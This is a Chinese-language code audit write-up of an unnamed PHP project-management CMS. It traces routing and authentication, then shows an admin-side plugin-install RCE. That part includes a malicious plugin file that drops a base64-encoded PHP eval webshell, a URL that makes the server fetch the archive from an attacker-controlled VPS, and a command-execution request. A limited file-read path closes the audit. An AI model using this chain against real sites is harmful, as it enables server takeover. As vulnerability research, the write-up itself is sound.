Skip to content

某PHPCMS代码审计

约 1515 字大约 5 分钟

PHP

2024-11-05

首发于先知社区某PHPCMS代码审计

项目介绍

该CMS兼容PHP5.6-PHP7,可使用 MySQL 或 PostgreSQL ,使用了Pimple依赖注入容器去实现存储各种服务和对象的实例,例如控制器的注册和管理,中间件的注册。

功能特性:

  • 简洁、美观的界面
  • 支持多主题
  • 可视化的任务管理
  • 支持列表、看板和甘特图等任务视图
  • 可拖拽式的任务操作
  • 支持多语言,内置英文和简体中文语言包
  • 过滤搜索
  • 可创建团队项目和个人项目
  • 支持任务、子任务、附件和评论
  • 动作自动触发
  • 可视化的统计
  • 第三方集成
  • 支持插件

部署

一. 设置配置文件

cp .env.example .env
APP_ENV=production
APP_DEBUG=true
APP_KEY=SomeRandomString
APP_TIMEZONE=Asia/Shanghai
APP_LOCALE=zh-CN
APP_THEME=black
APP_LOG=daily
APP_LOG_LEVEL=error
APP_URL=http://localhost

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=xxx
DB_USERNAME=root
DB_PASSWORD=123456

二. 安装依赖包

先把composer.json的49行开始的改成这样

    "autoload" : {
        "classmap" : ["app/"],
        "psr-4" : {
            "cmsname\\" : "app/",
             "PicoDb\\": "vendor/cmsname/picodb/src/",
             "SimpleLogger\\":"vendor/cmsname/simple-logger/src",
             "JsonRPC\\":"vendor/cmsname/json-rpc/src",
             "SimpleValidator\\":"vendor/cmsname/simple-validator/src"
        },
        "files" : [
            "app/helpers.php"
        ]
    },

不然后面就会加载不出UrlParser类,上nginx的时候会找不到SimpleLogger和JsonRPC还有Validator

出现如下找不到对应类的报错

Phinx by Rob Morgan - https://phinx.org. 0.6.6
using config file ./phinx.php
PHP Fatal error:  Uncaught Error: Class 'PicoDb\UrlParser' not found in /var/www/cmsname/bootstrap/autoload.php:17
Stack trace:
#0 /var/www/cmsname/phinx.php(18): require()
#1 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Config/Config.php(111): include('/var/www/cmsname...')
#2 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/AbstractCommand.php(248): Phinx\Config\Config::fromPhp('/var/www/cms...')
#3 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/AbstractCommand.php(92): Phinx\Console\Command\AbstractCommand->loadConfig(Object(Symfony\Component\Console\Input\ArgvInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
#4 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/Migrate.php(72): Phinx\Console\Command\AbstractCommand->bootstrap(Object(Symfony\Component\Console\Input\ArgvInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
#5 /var/www/cmsname/vendor/symfony/console/Command/Command.php(251): Phinx\Console\Command\Migrate->execute(Object(Symfony\ in /var/www/cmsname/bootstrap/autoload.php on line 17

之后 composer install

这里在win可能会出现错误,可选择在linux环境下载依赖,再把/vendor复制过来

三. 安装数据库迁移和初始数据

  • 创建数据表
vendor/bin/phinx migrate
  • 安装初始数据
vendor/bin/phinx seed:run

四. 确保bootstrap/cache和storage目录可写。

$ chmod -R 0777 bootstrap/cache
$ chmod -R 0777 storage

五. 配置Web服务器

将Web服务器的根目录指向 public/

路由转发

  • 启动时bootstrap/app.php里面调用Container.php的register(ServiceProviderInterface $provider, array $values = array())去加载各种服务

image-20241027103939046

  • ServiceProviderInterface接口的路由部分被RouteServiceProvider实现,我们主要关注这个路由的ServiceProvider

  • RouteServiceProvider类实现了 ServiceProviderInterface 接口,负责将路由相关的服务注册到容器中。

  • 通过register()方法,将 RouteRouter 注册到 Pimple 容器中,遍历加载routes目录下面的路由表。

image-20241027103818209

  • 进到index.php的excute(),在Application.php类里面跟进到,有个$this->container['router']->dispatch();

    image-20241027105614894

image-20241027110135968

  • 因为$controller === '',进到findRoute(),也就是之前被注册的Route类里面,然后去解析出来controller,action,plugin。

image-20241027110635474

  • 回到Application.php,执行executeMiddleware()加载中间件,执行executeController()加载控制器,

image-20241027161809380

  • 调用 $controllerObject->{$this->router->getAction()}(); (调了在Router.php里面的方法)执行具体的控制器动作。

image-20241027161857360

其实就是executeMiddleware一个反射,先$controllerObject = new controller(),再$controllerObject->{$this->router->getAction()}()

鉴权分析

Foundation/Security/Role.php里面划分了权限等级

class Role
{
    const APP_ADMIN = 'app-admin';
    const APP_MANAGER = 'app-manager';
    const APP_USER = 'app-user';
    const APP_PUBLIC = 'app-public';

    const PROJECT_MANAGER = 'project-manager';
    const PROJECT_MEMBER = 'project-member';
    const PROJECT_VIEWER = 'project-viewer';

    /**
     * Get application roles.
     *
     * @return array
     */
    public function getApplicationRoles()
    {
        return [
            self::APP_ADMIN   => t('Administrator'),
            self::APP_MANAGER => t('Manager'),
            self::APP_USER    => t('User'),
        ];
    }
    /**
     * Get project roles.
     *
     * @return array
     */
    public function getProjectRoles()
    {
        return [
            self::PROJECT_MANAGER => t('Project Manager'),
            self::PROJECT_MEMBER  => t('Project Member'),
            self::PROJECT_VIEWER  => t('Project Viewer'),
        ];
    }
}

鉴权的服务也是像上面关于路由转发的流程一样,往容器里面注册一个AuthServiceProvider(鉴权部分先注册)

image-20241028225821373

然后在getProjectAccessMap()里依据上面划分的权限,分配了各个Controller的权限

image-20241028225926347

在访问login路由时,由app/Http/Controllers/Auth/AuthController.php实现鉴权,会进到login方法

image-20241029130224531

登陆时会进到login下面的check方法

image-20241029085534104

cookie的部分是app/Foundation/Session/SessionManager.php,生成JM_SID,app/Foundation/Http/RememberMeCookie.php,生成JM_RM

image-20241029211041779

漏洞挖掘

后台漏洞-插件RCE

访问路由时,index.php会require bootstrap/app.php,类似java的SPI会调用各个Provider的register。

image-20241016092137285

PluginServiceProvider会扫描插件

image-20241016093343487

scan()方法扫描plugins目录下有无目录,有的话先执行loadSchema。

image-20241016093908117hasSchema()->getSchemaFilename()去找/pluginName/Schema/mysql.php,取决于使用哪种数据库

	public function loadSchema($pluginName)
	{
    	if (SchemaHandler::hasSchema($pluginName)) {
        	$schemaHandler = new SchemaHandler($this->container);
        	$schemaHandler->loadSchema($pluginName);
    	}
	}

	public static function hasSchema($pluginName)
	{
        return file_exists(self::getSchemaFilename($pluginName));
    }
	public static function getSchemaFilename($pluginName)
    {
        return PLUGINS_DIR.'/'.$pluginName.'/Schema/'.ucfirst(DB_DRIVER).'.php';
    }

如果找到的话就loadSchema()去require

public function loadSchema($pluginName)
{
    require_once self::getSchemaFilename($pluginName);
    $this->migrateSchema($pluginName);
}

根据上述流程做一个压缩包test.zip,结构为test/Schema/mysql.php

image-20241029211345801

mysql.php

file_put_contents("webshell.php",base64_decode("PD9waHAgQGV2YWwoJF9HRVRbMV0pOw=="));
if(file_exists("../plugins/ABC")){
    deldir("../plugins/ABC");
}
function deldir($dir) {
    //先删除目录下的文件:
    $dh=opendir($dir);
    while ($file=readdir($dh)) {
        if($file!="." && $file!="..") {
            $fullpath=$dir."/".$file;
            if(!is_dir($fullpath)) {
                unlink($fullpath);
            } else {
                deldir($fullpath);
            }
        }
    }

    closedir($dh);
    //删除当前文件夹:
    if(rmdir($dir)) {
        return true;
    } else {
        return false;
    }
}

在app/Http/Controllers/Admin/PluginController.php里面,archive_url可控,按照之前对于路由的分析,action=install即可触发,路由为Admin/PluginController

public function install()
{
    $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));

    try {
        $installer = new Installer($this->container);
        $installer->install($pluginArchiveUrl);
        $this->flash->success(t('Plugin installed successfully.'));
    } catch (PluginInstallerException $e) {
        $this->flash->failure($e->getMessage());
    }

    $this->response->redirect($this->helper->url->to('Admin/PluginController', 'show'));
}

把压缩包挂在自己vps上,admin登陆后访问http://127.0.0.1/?controller=Admin/PluginController&action=install&archive_url=http://yourIP:port/test.zip去触发下载插件

完成RCEhttp://127.0.0.1/webshell.php?1=system(%22whoami%22);

image-20241029204352866

潜在危害

任意文件读取 filename部分可控。前缀不可控。 http://127.0.0.1/?controller=Profile/AvatarController&action=image&user_id=1&size=123

这个只能实现读取admin头像

$filename = $this->path.DIRECTORY_SEPARATOR.$key;
if (!file_exists($filename)) {
    throw new ObjectStorageException('File not found: '.$filename);
}
return file_get_contents($filename);

filename从数据库里取,上传头像那里路径完全不可控,avator难以利用。如果找到一个sql注入,修改user里的avator地址那么就可以实现读取任意文件。